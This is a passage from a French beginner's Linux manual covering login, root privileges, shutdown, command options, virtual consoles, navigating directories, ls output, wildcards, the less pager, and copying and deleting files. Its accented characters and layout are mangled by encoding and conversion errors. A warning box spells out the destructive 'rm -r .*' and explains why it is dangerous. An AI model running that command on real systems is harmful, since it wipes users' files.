  30666. complexe d'un administrateur systΦme.
  30667.  
  30668.  
  30669.  
  30670.                                                                                                                                    *
  30671.  *   481
  30672. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  30673.  *_______________________________________@
  30674.  
  30675.  
  30676.  
  30677.                            19.1        Connexion  au  systΦme,  utilisateur  `root',  crΘer  un
  30678.                                        compte utilisateur
  30679.  
  30680.  
  30681.                            Linux Θtant un systΦme d'exploitation multiutilisateur, vous devrez toujours
  30682.                            vous  connecter  sur  la  +  console  que  vous  souhaitez  utiliser1   (voir  para-
  30683.                            graphe  19.4  page  485).  Cette  procΘdure,  qui  est  un  ΘlΘment  essentiel  du
  30684.                            concept de sΘcuritΘ d'un systΦme multiutilisateur moderne, s'appelle login.
  30685.                            Elle garantit, entre autre, que chaque utilisateur dispose de son propre envi-
  30686.                            ronnement de travail et n'accΦde qu'α ses propres donnΘes. Vous devez donc
  30687.                            entrer  votre  nom  d'utilisateur  (par  exemple  `tux')  et  votre  mot  de  passe
  30688.                            (par exemple xxxxxx      , les caractΦres xxxxxx       devant Ωtre remplacΘs par votre
  30689.                            propre mot de passe que vous vous Ωtes vous-mΩme attribuΘ !). Les caractΦres
  30690.                            xxxxxx       ne sont pas affichΘs α l'Θcran._Entrez-les simplement les uns aprΦs
  30691.                            les autres et appuyez ensuite sur |E_________|ntrΘe2:
  30692.  
  30693.                                  login:  tux    |__________|EntrΘe
  30694.  
  30695.  
  30696.                                     Password:  xxxxxx  |__________|EntrΘe
  30697.  
  30698.  
  30699.                            Si vous avez rΘussi α vous connecter, vous vous trouvez dans votre rΘpertoire
  30700.                            personnel (par exemple /home/tux         pour l'utilisateur `tux').
  30701.  
  30702.                            Si vous voulez quitter la console (vous dΘconnecter du systΦme) vous devez
  30703.                            entrer logout       ou exit    .
  30704.  
  30705.                            L'utilisateur `root' agit en tant qu'+  administrateur systΦme et il a vraiment
  30706.                            TOUS  les  droits.  Les  fichiers  systΦme  cruciaux  ne  peuvent  Ωtre  manipulΘs
  30707.                            que par `root'. Vous ne devez donc vous connecter sous le compte `root'
  30708.                            que si vous avez vraiment l'intention de tirer parti de ces possibilitΘs. Sinon
  30709.                            connectez-vous comme simple utilisateur afin de protΘger votre systΦme de
  30710.                            modifications  que  vous  pourriez  faire  par  inadvertance  et  qui  vous  oblige-
  30711.                            raient Θventuellement α procΘder α une nouvelle installation.
  30712.  
  30713.                            Voici certaines choses qui ne sont permises qu'α l'utilisateur `root' :
  30714.  
  30715.  
  30716.  
  30717.                              ~   +  Montage de systΦmes de fichiers tels que CD et disquettes et par voie
  30718.                                  de consΘquence installation de logiciels. Ce droit peut aussi Ωtre accordΘ
  30719.                                  α tout autre utilisateur par l'option user     ajoutΘe au pΘriphΘrique corres-
  30720.                                  pondant dans /etc/fstab (paragraphe 19.11.2 page 500).
  30721.  
  30722.                              ~   Ajout et suppression d'utilisateurs (paragraphe 3.6.7 page 111).
  30723.  
  30724.                              ~   Installation d'un nouveau noyau (chapitre 13 page 359).
  30725.  
  30726.                              ~   Configuration du systΦme.
  30727.  
  30728.                              ~   ArrΩt du systΦme (paragraphe 19.2 page suivante).
  30729.  
  30730.                              ~   Lancement de YaST  (chapitre 3 page 81).
  30731.  
  30732.                            _____________________________________________1
  30733.                              Si vous avez configurΘ un login graphique (voir paragraphe 3.6.5 page 109), la procΘdure que
  30734.                            nous allons dΘcrire sera bien s√r valable aussi dans ce cas !
  30735.                            2 Si vous n'avez pas de mot de passe, tapez simplement |__________|EntrΘeau dΘbut !
  30736.  
  30737.  
  30738. 482
  30739.        ____________________________________________________________________________19.2.__ArrΩt_du_systΦme_et_amorτage_____________*
  30740.  *______________________
  30741.  
  30742.  
  30743.  
  30744. 19.2        ArrΩt du systΦme et amorτage
  30745.        _______________________________________________________________________________________________________________________
  30746.        ||||||||                                                                                                 ||             |
  30747.        ||||||||  IMPORTANT : Vous ne devez en aucun cas couper le courant pendant le                            ||             |
  30748.        ||||||||                                                                                                 ||             |
  30749.        ||||||||  fonctionnement de votre systΦme ou actionner le bouton de remise α zΘro                        ||             |
  30750.        ||||||||  (+  rΘinitialisation)       sous peine d'endommager votre +   systΦme de fichiers              ||             |
  30751.        ||||||||                                                                                                 ||             |
  30752.        ||||||||  et de provoquer une perte de donnΘes.                                                          ||             |
  30753.        ||||||||_______________________________________________________________________________________________________________||_
  30754.  
  30755. Pour  un  arrΩt  correct  de  votre  machine  (angl.  shutdown),  utilisez  les  com-
  30756. mandes que vous montre le tableau 19.1.
  30757.  
  30758.        _______________________________________________________________________________________________________________________
  30759.  
  30760.  
  30761.    shutdown  -h  now                arrΩte  le  systΦme  (lorsque  vous  voyez  affichΘ  α
  30762.                                     l'Θcran  :  "the  system  is  halted",  vous  pou-
  30763.                                     vez arrΩter sans aucun risque)
  30764.  
  30765.  
  30766.    shutdown  -r  now                redΘmarre immΘdiatement le systΦme aprΦs l'arrΩt
  30767.  
  30768.        _______________________________________________________________________________________________________________________
  30769.  
  30770.                  Tab. 19.1: Commandes pour l'arrΩt du systΦme Linux
  30771.  
  30772.  
  30773. La commande shutdown        dans toutes ses variantes ne peut gΘnΘralement Ωtre
  30774. exΘcutΘe que par l'utilisateur `root'.
  30775.  
  30776. Pour arrΩter votre systΦme, vous devez donc vous connecter sous le compte
  30777. `root'   et   lancer   la   commande   shutdown  -h  now              ou   la   commande
  30778. shutdown  -r  now            .
  30779.  
  30780. Mais vous avez aussi l'alternative, comme cela se fait sous_DOS,_d'effectuer_    _______
  30781. un redΘmarrage_en_utilisant_la combinaison_de touches |C______|trl+ |A____l|t+ |S_______u|ppr
  30782. ( Ctrl ||||||||__+ |A____l|t+ |D____e|l). Comme cette combinaison de touches ne fonctionne
  30783. pas sous X, vous devrez tout d'abord quitter X. Cette mΘthode peut toutefois
  30784. Ωtre employΘe par n'importe quel utilisateur dans la console texte.
  30785.  
  30786.  
  30787.  
  30788. 19.3        Commandes et lignes de commandes
  30789.  
  30790.  
  30791. Bien que le systΦme Linux soit de plus en plus accueillant et convivial grΓce
  30792. par exemple aux programmes pilotΘs par menu, il est souvent indispensable,
  30793. en  cas  de  catastrophe  ou  s'il  n'existe  pas  de  tels  programmes  pour  rΘaliser
  30794. certaines tΓches particuliΦres, d'avoir recours aux commandes Unix.
  30795.  
  30796.  
  30797.  
  30798. Que sont les commandes Unix ?
  30799.  
  30800. Les commandes Unix sont
  30801.  
  30802.  
  30803.   ~   des programmes exΘcutables
  30804.  
  30805.   ~   des scripts shell (fichiers de commandes)
  30806.  
  30807.   ~   des scripts de langages de scripts tels que Perl, Tcl etc.
  30808.  
  30809.   ~   des alias de commandes shell (comparables α des macros).
  30810.  
  30811.  
  30812.                                                                                                                                    *
  30813.  *   483
  30814. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  30815.  *_______________________________________@
  30816.  
  30817.  
  30818.  
  30819.                            Le point commun de toutes ces commandes est qu'elles se trouvent dans des
  30820.                            fichiers : Lorsque l'on invoque un programme sous Linux, on donne l'ordre
  30821.                            au  shell  de  rechercher  le  fichier  avec  le  nom  du  programme  (pour  cela  on
  30822.                            a  besoin  du  chemin  d'accΦs  reprΘsentΘ  dans  la  variable  PATH).  Lorsque  le
  30823.                            programme a ΘtΘ retrouvΘ, on doit ensuite l'exΘcuter s'il possΦde les droits
  30824.                            requis (exΘcutable).
  30825.  
  30826.                            Mais  que  se  passe-t-il  si  l'on  doit  encore  faire  savoir  au  programme  (par
  30827.                            exemple α une commande de copie) quels fichiers sont concernΘs ?
  30828.  
  30829.                            Le problΦme est relativement simple α rΘsoudre car il existe ce que l'on ap-
  30830.                            pelle  les  paramΦtres  (angl.  parameter).  Les  paramΦtres  sont  des  arguments
  30831.                            ajoutΘs α une commande pour lui fournir les donnΘes nΘcessaires. Les para-
  30832.                            mΦtres sont insΘrΘs dans la ligne de commande aprΦs le nom de la commande
  30833.                            dont ils doivent Ωtre sΘparΘs par au moins un espace3 .
  30834.  
  30835.                            Il peut souvent aussi Ωtre nΘcessaire de pouvoir influencer le comportement
  30836.                            d'une commande (dans le cas par exemple ou l'on souhaite obtenir l'affichage
  30837.                            long d'un rΘpertoire et non pas une simple liste des noms des fichiers). Ceci se
  30838.                            fait sous Linux au moyen d'options. Les options sont toujours situΘes directe-
  30839.                            ment aprΦs le nom de la commande et avant les paramΦtres. Les commandes
  30840.                            incorrectement pogrammΘes constituent des exceptions mais ne sont pas ex-
  30841.                            clues. Les options sont le plus souvent marquΘes par un signe de soustraction
  30842.                            (par exemple -la   ) et peuvent suivre deux schΘmas (voir tableau 19.2).
  30843.  
  30844.                            ________________________________________________________________________________________________________*
  30845.  *________
  30846.  
  30847.                               -a                               Forme courte, en usage sous Unix
  30848.                               --all                            Forme longue, dite notation GNU
  30849.  
  30850.                            ________________________________________________________________________________________________________*
  30851.  *________
  30852.                                                      Tab. 19.2: Options pour les commandes
  30853.  
  30854.  
  30855.                            Il  existe  de  nombreux  programmes  Linux  capables  de  ``cumuler''  plusieurs
  30856.                            options si celles-ci sont nΘcessaires. Cela signifie que les options ΘnumΘrΘes
  30857.                            les unes aprΦs les autres ne seront pas toutes prΘcΘdΘes du signe de soustrac-
  30858.                            tion.  Seule  la  premiΦre  aura  ce  signe,  les  autres  seront  Θcrites  directement
  30859.                            derriΦre. Exemple :
  30860.                                  -a  -f  -r  -u       ou
  30861.                                  -afru                 ou
  30862.                                  -frua
  30863.                            L'exemple  nous  montre  aussi  que  l'ordre  des  options  est  en  gΘnΘral  sans
  30864.                            importance. Mais il existe bien s√r des exceptions qui confirment la rΦgle.
  30865.  
  30866.                            Et pour couronner le tout, les options elles-mΩmes peuvent aussi accepter des
  30867.                            paramΦtres :
  30868.                                  -f  <monfichier>    ou
  30869.                                  -f<monfichier>
  30870.                            Dans certains cas (plut⌠t rares), il peut ne pas Ωtre dΘterminant que l'option
  30871.                            soit  sΘparΘe  ou  non  de  son  paramΦtre  par  un  espace.  Mais  en  gΘnΘral  on
  30872.                            devrait laisser un espace.
  30873.                            _____________________________________________3
  30874.                              Ceci implicite qu'un espace n'est pas un ΘlΘment du paramΦtre puisqu'il s'agit du ``sΘparateur''
  30875.                            d'arguments. Les espaces ne peuvent apparaεtre dans un paramΦtre que si celui-ci est placΘ entre
  30876.                            guillemets ""  ou entre des caractΦres d'apostrophe ''.
  30877.  
  30878.  
  30879. 484
  30880.        ____________________________________________________________________________________________19.4.__Consoles_virturelles_____*
  30881.  *______________________
  30882.  
  30883.  
  30884.  
  30885. Exemples
  30886. Une commande sous Linux a l'aspect suivant4  :
  30887.  
  30888.       terre:  #  fdisk
  30889.       terre:  #  lsmod
  30890.       terre:  #  ls
  30891. Voici ce qu'il en est pour les options :
  30892.  
  30893.       terre:  #  fdisk  -v
  30894.       terre:  #  ls  -l  -a
  30895.       terre:  #  ls  -la
  30896. Pour les paramΦtres :
  30897.  
  30898.       terre:  #  fdisk  /dev/hda
  30899.       terre:  #  ls  /tmp
  30900. Et pour les options et paramΦtres :
  30901.  
  30902.       terre:  #  ls  -la  /tmp
  30903.       terre:  #  rpm  -qpl  <monpaquetaget>.rpm
  30904.       terre:  #  gcc  -o  <parametreoption>  <parametre>
  30905. L'espace  est  un  caractΦre  d'une  grande  importance  dans  une  suite  de  com-
  30906. mandes  sous  Linux  car  il  est  essentiel  que  les  ΘlΘments  d'une  commande
  30907. soient tous sΘparΘs les uns des autres par des espaces.
  30908.  
  30909.  
  30910. 19.4        Consoles virturelles
  30911.  
  30912. Linux est un systΦme +   multitΓche et multiutilisateur. MΩme si vous possΘ-
  30913. dez un systΦme PC mono-utilisateur, vous ne tarderez pas α apprΘcier cette
  30914. fonctionnalitΘ :
  30915.  
  30916. En mode texte, vous disposez de 6 +  consoles virtuelles entre_lesquelles_vous____
  30917. pouvez basculer α l'aide des combinaisons de touches de |A____l|t+ |F___|1α |A____l|t+
  30918.  F6  . |||||||||__La septiΦme console est rΘservΘe α X11.5
  30919.  
  30920. Si  vous  voulez,  depuis  X11,  basculer  vers  une  console _texte_ sans  terminer_
  30921. l'exΘcution de X11, utilisez les combinaisons de touches de |C______t|rl+ |A____l|t+
  30922.  F1   α|||||||||__||__Ctrl+ |A_____|lt+ |F___|_6. Avec |A_____|lt+ |F___|_7vous revenez α X11.
  30923.  
  30924.  
  30925.  
  30926. 19.5        RΘpertoires et noms de fichiers
  30927.  
  30928. Toutes  les  informations  ~  qu'il  s'agisse  de  textes,  d'images,  de  bases  de
  30929. donnΘes  ou  de  tΓches  pour  la  configuration  du  systΦme  ~  sont  enregistrΘes
  30930. dans des ``fichiers'' placΘs α leur tour dans des ``rΘpertoires'' (voir annexe D
  30931. page 531). Avec tous les outils et programmes, il est possible d'accΘder aux
  30932. fichiers des diffΘrents rΘpertoires afin de les lire ou de les modifier.
  30933.  
  30934. Sous Unix, le caractΦre de sΘparation des rΘpertoires dans les chemins est la
  30935. barre oblique de division `/' (angl. slash) (sous DOS, c'est la barre oblique
  30936. inversΘe  `\').  Un  chemin  est  donc  une  chaεne  de  caractΦres  dans  laquelle
  30937. les noms de rΘpertoires sont sΘparΘs par `/'. Un seul slash `/' dΘsigne le
  30938. rΘpertoire en tΩte de la hiΘrarchie. Il s'agit du +  rΘpertoire racine.
  30939.        ____________________________________________________
  30940. 4  └ titre de rappel : ``terre:  #  '' affiche l'invite (angl. prompt). Vous n'avez pas α entrer ces
  30941. mots et caractΦres
  30942. 5 En modifiant le fichier /etc/inittab, vous pouvez disposer d'un nombre supΘrieur ou infΘ-
  30943. rieur de consoles.
  30944.  
  30945.  
  30946.                                                                                                                                    *
  30947.  *   485
  30948. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  30949.  *_______________________________________@
  30950.  
  30951.  
  30952.  
  30953.                            Unix diffΘrencie les majuscules et les minuscule, ce qui signifie que le nom
  30954.                            de fichier Emil ne dΘsigne pas le mΩme fichier que le nom emil. Il n'est en
  30955.                            gΘnΘral pas nΘcessaire de diviser les noms de fichiers en nom et extension α
  30956.                            moins que certains programmes ne le requiΦrent (par exempleALTEX).
  30957.                            ________________________________________________________________________________________________________*
  30958.  *________||
  30959.                            |  La touche de tabulation |T_____|abfacilite l'entrΘe des noms de fichiers ou de                       *
  30960.  *        ||||
  30961.                            |                                                                                                       *
  30962.  *        |||
  30963.                            |  rΘpertoires.__Il  vous  suffit  de  taper  les  premiΦres  lettres  du  fichier  et  de              *
  30964.  *        |||
  30965.                            |  presser |Tab   |. L'+  interprΘteur de commandes complΦte le nom du fichier                          *
  30966.  *        |||
  30967.                            |            ____                                                                                       *
  30968.  *        |||
  30969.                            |  (dans  la  mesure  o∙  il  est  dΘfini  sans  ambigu∩tΘ  par  la  ou  les  premiΦres                 *
  30970.  *        |||
  30971.                            |  lettres). En cas d'ambigu∩tΘ, appuyez deux fois sur la touche de tabulation                          *
  30972.  *        |||
  30973.                            |                                                                                                       *
  30974.  *        |||
  30975.                            |  afin de voir toutes les possibilitΘs.                                                                *
  30976.  *        |||
  30977.                            |_______________________________________________________________________________________________________*
  30978.  *________|||_
  30979.  
  30980.  
  30981.                            19.6        Travailler avec les rΘpertoires
  30982.  
  30983.                            AprΦs vous Ωtre connectΘ α votre systΦme (paragraphe 19.1 page 482), vous
  30984.                            vous trouvez dans votre rΘpertoire personnel. Le nom du rΘpertoire courant
  30985.                            peut Ωtre affichΘ par la commande pwd    (angl. print working directory)
  30986.                                  tux@terre:/home/tux  >  pwd
  30987.                                     /home/tux
  30988.                            Tout comme sous DOS, la commande cd   (angl. change directory) sert α chan-
  30989.                            ger de rΘpertoire. L'entrΘe de
  30990.                                  tux@terre:/home/tux  >  cd  /usr/bin
  30991.                                     tux@terre:/usr/bin  >
  30992.                            fait donc passer dans le rΘpertoire /usr/bin,
  30993.                                  tux@terre:/home/tux  >  cd  latex
  30994.                                     tux@terre:/home/tux/latex  >
  30995.                            fait  passer  dans  le  sous-rΘpertoire  latex  α  condition  que  le  rΘpertoire
  30996.                            /home/tux/latex               soit prΘsent dans le rΘpertoire personnel de `tux'.
  30997.  
  30998.                            Si vous invoquez cd   sans argument, votre rΘpertoire personnel sera changΘ.
  30999.                            Le rΘpertoire personnel peut aussi Ωtre indiquΘ par le tilde ` '. L'entrΘe de
  31000.                                  tux@terre:/home/tux  >  cd  ~/latex
  31001.  
  31002.                            fait  passer  dans  le  rΘpertoire  latex  qui  est  dans  le  +  rΘpertoire  personnel
  31003.                            de  l'utilisateur  qui  a  lancΘ  la  commande.  Tout  comme  sous  DOS,  le  mΘta-
  31004.                            caractΦre `..' correspond au rΘpertoire pΦre du rΘpertoire courant et le point
  31005.                            `.' au rΘpertoire courant.
  31006.                            Les  nouveaux  rΘpertoires  sont  crΘΘs  par  la  commande  mkdir      (angl.  make
  31007.                            directory). Par l'entrΘe de
  31008.                                  tux@terre:/home/tux  >  mkdir  texte
  31009.  
  31010.                            il  est  crΘΘ  un  sous-rΘpertoire  texte  dans  le  rΘpertoire  correspondant.  Les
  31011.                            rΘpertoires vides peuvent Ωtre effacΘs avec la commande rmdir     (angl. remove
  31012.                            directory).
  31013.  
  31014.  
  31015.                            19.7        Travailler avec les fichiers
  31016.  
  31017.                            Avant  d'Ωtre  (peut-Ωtre)  remplacΘs  un  jour  par  des  objets  ou  des  symboles,
  31018.                            les fichiers sont d'une importance primordiale pour le travail sur ordinateur.
  31019.                            Il existe par consΘquent sous Linux un trΦs grand nombre de commandes se
  31020.                            rapportant aux fichiers.
  31021.  
  31022.  
  31023. 486
  31024.        __________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______*
  31025.  *______________________
  31026.  
  31027.  
  31028.  
  31029. 19.7.1       Informations sur les fichiers
  31030.  
  31031.  
  31032.  
  31033. La commande ls   affiche le contenu du rΘpertoire courant. Vous pouvez voir
  31034. une liste de tous les noms de fichiers et noms de rΘpertoires contenus dans
  31035. le  rΘpertoire  courant.  Les  noms  de  rΘpertoires  sont  marquΘs  par  une  barre
  31036. oblique  `/'.  En  spΘcifiant  un  paramΦtre,  on  peut  aussi  obtenir  l'affichage
  31037. d'un autre rΘpertoire :
  31038.  
  31039.  
  31040.       tux@terre:  >  ls  /usr/bin
  31041.  
  31042.  
  31043.  
  31044. Les programmes exΘcutables ne sont pas marquΘs par des extensions comme
  31045. .exe ou .com sous DOS. Lorsqu'il est Θtabli une liste avec ls  , les noms sont
  31046. suivis d'une astΘrisque et/ou mis en Θvidence en rouge     . Voir la documenta-
  31047. tion relative α ls  , par exemple la sortie de
  31048.  
  31049.  
  31050.       tux@terre:  >  ls  --help
  31051.  
  31052.  
  31053.  
  31054. On ne doit jamais spΘcifier explicitement l'astΘrisque, elle est affichΘe der-
  31055. riΦre le nom de fichier correspondant du seul fait que le programme possΦde
  31056. l'attribut ``executable'' (voir Informations sur les fichiers ( page 492)).
  31057.  
  31058.  
  31059.  
  31060. -l   est une option trΦs utile de ls . Elle permet l'affichage d'informations com-
  31061. plΘmentaires  concernant  les  entrΘes  de  fichiers  ou  de  rΘpertoires  telles  que
  31062. propriΘtaire, appartenance α un groupe et taille :
  31063.  
  31064.  
  31065.       tux@terre:  >  ls  -l
  31066.  
  31067.  
  31068.  
  31069. Ceci crΘe une sortie telle que celle de l' affichage α l'Θcran 19.7.1.
  31070.  
  31071.  
  31072.  
  31073.        _______________________________________________________________________________________________________________________||
  31074.        ||||||||drwxr-xr-x    6    tux  users     1024    Mar  21    12:39  ./                                                  |
  31075.        ||||||||drwxr-xr-x    4    tux  users     1024    Mar  21    17:13  ../                                                 |
  31076.        ||||||||                                                                                                                |
  31077.        ||||||||drwxr-xr-x    2    tux  users     1024    Nov  6     16:19  bin/                                                |
  31078.        ||||||||-rwxr-xr-x    1    tux  users     4160    Mar  21    12:38  check*                                              |
  31079.        ||||||||                                                                                                                |
  31080.        ||||||||drwxr-xr-x    2    tux  users     1024    Nov  6     16:23  etc/                                                |
  31081.        ||||||||drwxr-xr-x    2    tux  users     1024    Nov  6     16:19  sbin/                                               |
  31082.        ||||||||                                                                                                                |
  31083.        ||||||||drwxr-xr-x    12  tux  users     1024    Nov  6     18:20  usr/                                                 |
  31084.        ||||||||-rw-r--r--    1    tux  users  185050    Mar  15    12:33  xvi.tgz                                              |
  31085.        ||||||||                                                                                                                |
  31086.        ||||||||-rw-r--r--____1____tux__users____98444____Mar__14____12:30__xvnews.tgz_________________________________________ |
  31087.  
  31088.  
  31089.  
  31090.                       affichage α l'Θcran 19.7.1: Affichage de ls  -l
  31091. La  signification  des  diffΘrents  champs  dans  l'affichage  α  l'Θcran  19.7.1  est
  31092. expliquΘe dans la tableau 19.3 page suivante.
  31093.  
  31094.  
  31095.                                                                                                                                    *
  31096.  *   487
  31097. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  31098.  *_______________________________________@
  31099.  
  31100.                             _______________________________________________________________________________________________________*
  31101.  *_________
  31102.  
  31103.  
  31104.                               Droits                              Le premier caractΦre de ce champ dΘsigne le type
  31105.                                                                   du fichier. `d' signifie rΘpertoire, `l' lien et `-'
  31106.                                                                   un fichier normal. Les 9 caractΦres suivants dΘsi-
  31107.                                                                   gnent  les  droits  d'accΦs  pour  le  propriΘtaire,  le
  31108.                                                                   groupe  et  tous  les  autres  utilisateurs  (respecti-
  31109.                                                                   vement  3  caractΦres).  `r'  signifie  lecture,  `w'
  31110.                                                                   Θcriture  et  `x'  exΘcution.  Exemple  :  `-rw-r~
  31111.                                                                   r~'  dΘsigne  un  fichier  qui  peut  Ωtre  lu  par  son
  31112.                                                                   propriΘtaire, les membres du groupe et tous les
  31113.                                                                   autres  mais  ne  peut  Ωtre  modifiΘ  que  par  son
  31114.                                                                   seul propriΘtaire. Voir la page de man de chmod
  31115.                                                                   (man  chmod       ).
  31116.                               PropriΘtaire                        Le propriΘtaire du fichier. Voir la page de man de
  31117.                                                                   chown     (man  chown       ).
  31118.                               Groupe                              Le  groupe  auquel  appartient  le  fichier.  voir  la
  31119.                                                                   page de man de chgrp      (man  chgrp       ).
  31120.                               Taille                              La taille du fichier en octets.
  31121.                               derniΦre modification               La  date  de  la  derniΦre  modification  du  fichier.
  31122.                                                                   Pour  les  fichiers  dont  la  derniΦre  modification
  31123.                                                                   remonte α plus d'un an, l'heure est remplacΘe par
  31124.                                                                   l'annΘe.
  31125.                               Nom                                 Le nom du fichier ou du rΘpertoire.
  31126.  
  31127.                             _______________________________________________________________________________________________________*
  31128.  *_________
  31129.  
  31130.                                             Tab. 19.3: Signification des attributs de fichiers Unix
  31131.  
  31132.                            19.7.2       Wildcards ~ un petit coup d'oeil
  31133.  
  31134.  
  31135.                            Les +  wildcards que l'on peut utiliser α l'aide des interprΘteurs de commandes
  31136.                            (par exemple bash ) offrent des possibilitΘs bien plus Θtendues que celles dis-
  31137.                            ponibles sous DOS.
  31138.  
  31139.                            Sous  Linux,  les  wildcards  ou  caractΦres  jokers  ne  se  limitent  pas  α  l'astΘ-
  31140.                            risque `*' et au point d'interrogation ` ?'. Vous pouvez avec
  31141.  
  31142.                                  tux@terre:  >  ls  *a???.?
  31143.  
  31144.                            voir tous les fichiers du rΘpertoire courant dont le sixiΦme caractΦre, en comp-
  31145.                            tant α partir de la fin, est un `a' et dont le dernier caractΦre dans le nom de
  31146.                            fichier est un point `.'.
  31147.  
  31148.                            └ la place du caractΦre `a', il pourrait y avoir toute une sΘrie de caractΦres
  31149.                            diffΘrents, par exemple les lettres `a', `b', `c', `d', `e', `f'. Dans notre
  31150.                            exemple, la commande serait alors :
  31151.  
  31152.                                  tux@terre:  >  ls  *[a-f]???.?
  31153.  
  31154.                            Il est mΩme possible de faire rechercher des caractΦres qui ne se suivent pas
  31155.                            dans l'ordre alphabΘtique :
  31156.  
  31157.                                  tux@terre:  >  ls  *[1,3-5,M-P,a,k]???.?
  31158.  
  31159.  
  31160.  
  31161. 488
  31162.        __________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______*
  31163.  *______________________
  31164.  
  31165.  
  31166.  
  31167. 19.7.3       Contenu des fichiers
  31168. Vous pouvez visualiser le contenu d'un fichier page par page avec les com-
  31169.  
  31170. mandes more     et less    . Avec la commande more     classique on ne peut faire
  31171. dΘfiler que vers le bas6 .
  31172.  
  31173. less     Θtant  nettement  plus  confortable,  on  devrait  lui  donner  la  prΘfΘrence.
  31174. Avec
  31175.  
  31176.       tux@terre:  >  less  /etc/login.defs
  31177.  
  31178. on charge le fichier /etc/login.defs dans le ``visualiseur'' less . Ce n'est
  31179. pas trΦs spectaculaire ~ une ligne de statut en surbrillance est ajoutΘe exacte-__
  31180. ment une fois α la premiΦre page du fichier_sur le bord infΘrieur. Avec |_________E|space,
  31181. on peut avancer d'une page et avec |b_ |, on peut revenir une page en arriΦre.
  31182. Voir l'ΘnumΘration dans le tableau 19.4.
  31183.        ______________________________________________________________________________________________________________________
  31184.  
  31185.    h             Aide
  31186.    q             Quitter
  31187.    e             Une ligne en avant
  31188.    y             Une ligne en arriΦre
  31189.    f             Une page en avant
  31190.    b             Une page en arriΦre
  31191.    d             Une demie page en avant
  31192.    u             Une demie page en arriΦre
  31193.    g             Aller au dΘbut du fichier
  31194.    G             Aller α la fin du fichier
  31195.    /             DΘmarrer la recherche
  31196.    n             Rechercher la prochaine occurrence
  31197.    v             Charger le fichier dans l'+  Θditeur
  31198.    F             Observer la ``croissance'' d'un fichier de trace (log)
  31199.    ^c            Revenir du mode F au mode ``normal''
  31200.  
  31201.        ______________________________________________________________________________________________________________________
  31202.  
  31203.                   Tab. 19.4: Touches du ``visualiseur'' less (sΘlection)
  31204.  
  31205. Avec   ||__|_/,  vous  dΘmarrez  la  recherche_ d'une  chaεne  de  caractΦres_ (par
  31206. exemple  yes  )  que  vous  entrez  avec  |_____-|.  Avec  la  touche  |_n|,  vous  obte-
  31207. nez l'affichage de la prochaine occurrence de yes   .
  31208.  
  31209. La touche |__F|prΘsente un certain intΘrΩt. Vous pouvez vous en servir pour_voir_
  31210. par exemple de nouvelles entrΘes s'ajouter α un fichier de trace. Avec |C______|trl+
  31211.  c  , v|||||||||__ous quittez ce mode
  31212.  
  31213. Avec  h||||__, vous obtenez_une liste de toutes les fonctionnalitΘs que less  met_α
  31214. disposition. Avec |q_ |, vous quittez ``l'aide'' et en appuyant de nouveau sur |q_ |
  31215. vous terminez complΦtement le programme et vous vous retrouvez α l'invite
  31216. de la ligne de commande.
  31217.  
  31218. 6      ____________________________________________________
  31219.   more sous Linux peut davantage ~ voir page de man de more   (man  more    ) ;-)
  31220.  
  31221.  
  31222.                                                                                                                                    *
  31223.  *   489
  31224. 19.  DΘbuts sous Linux_____________________________________________________________________________________________________________*
  31225.  *_______________________________________@
  31226.  
  31227.  
  31228.  
  31229.                            Pour modifier des fichiers textes, utilisez un +  Θditeur. L'Θditeur standard d'un
  31230.                            systΦme Unix est vi  avec lequel vous devez absolument vous familiariser dΦs
  31231.                            que vous aurez quelques minutes α lui consacrer en toute tranquillitΘ.
  31232.  
  31233.  
  31234.                            19.7.4       Fichiers cachΘs
  31235.  
  31236.                            Les fichiers cachΘs sont une classe spΘciale de fichiers. Les noms de fichiers
  31237.                            commencent par un point et ne sont affichΘs par le shell que si l'on invoque
  31238.                            ls   avec  l'option  -a .  Entrez  simplement  dans  votre  rΘpertoire  utilisateur  la
  31239.                            commande ls  -a    . Maintenant, les fichiers ``cachΘs'' dont le nom est prΘcΘdΘ
  31240.                            d'un point tels que ~/.profile et ~/.xinitrc devraient aussi Ωtre prΘsents
  31241.                            dans la liste. Les fichiers cachΘs sont protΘgΘs contre un effacement involon-
  31242.                            taire par rm  *    (voir paragraphe 19.7.5) et doivent, lorsque c'est nΘcessaire,
  31243.                            Ωtre effacΘs explicitement par rm  <.nom_de_fichier>                   .
  31244.                            ________________________________________________________________________________________________________*
  31245.  *________||
  31246.                            |  L'entrΘe  de  rm  .*     efface  tous  les  fichiers  cachΘs  du  rΘpertoire  courant.               *
  31247.  *        ||||
  31248.                            |                                                                                                       *
  31249.  *        |||
  31250.                            |  Si vous utilisez en plus l'option -r   (angl. recursive) (rm  -r  .*      ), tous les                *
  31251.  *        |||
  31252.                            |  fichiers du rΘpertoire pΦre seront aussi effacΘs car ils sont reprΘsentΘs par                        *
  31253.  *        |||
  31254.                            |                                                                                                       *
  31255.  *        |||
  31256.                            |  `../bla' qui est aussi couvert par `.*'.                                                             *
  31257.  *        |||
  31258.                            |  Vous devriez par ailleurs toujours faire preuve de la plus grande prudence                           *
  31259.  *        |||
  31260.                            |                                                                                                       *
  31261.  *        |||
  31262.                            |  avec l'option -r   !                                                                                 *
  31263.  *        |||
  31264.                            |_______________________________________________________________________________________________________*
  31265.  *________|||_
  31266.  
  31267.                            19.7.5       Copier, renommer et effacer des fichiers
  31268.  
  31269.                            Sous Linux, la commande qui permet de copier les fichiers est cp   :
  31270.                                  tux@terre:  >  cp  fichier_source  fichier_cible
  31271.  
  31272.                            └ la place de <fichier`cible>, on peut aussi spΘcifier un rΘpertoire prΘsent.
  31273.                            Le fichier source sera alors placΘ, sous le mΩme nom, dans le rΘpertoire de
  31274.                            destination. Pour copier le fichier /etc/XF86Config du rΘpertoire /etc dans
  31275.                            votre propre rΘpertoire utilisateur, vous pouvez taper la commande suivante :
  31276.                                  tux@terre:  >  cp  /etc/XF86Config  ~
  31277.  
  31278.                            Les fichiers peuvent Ωtre effacΘs avec la commande rm   (angl. remove). L'op-
  31279.                            tion -r (angl. recursive) est trΦs pratique. Elle permet d'effacer aussi tous les
  31280.                            sous-rΘpertoires et les fichiers qu'ils contiennent (comparable α la commande
  31281.                            deltree        qui existe depuis la version DOS 6.0).
  31282.  
  31283.                            L'entrΘe de
  31284.                                  tux@terre:  >  rm  -r  bin
  31285.  
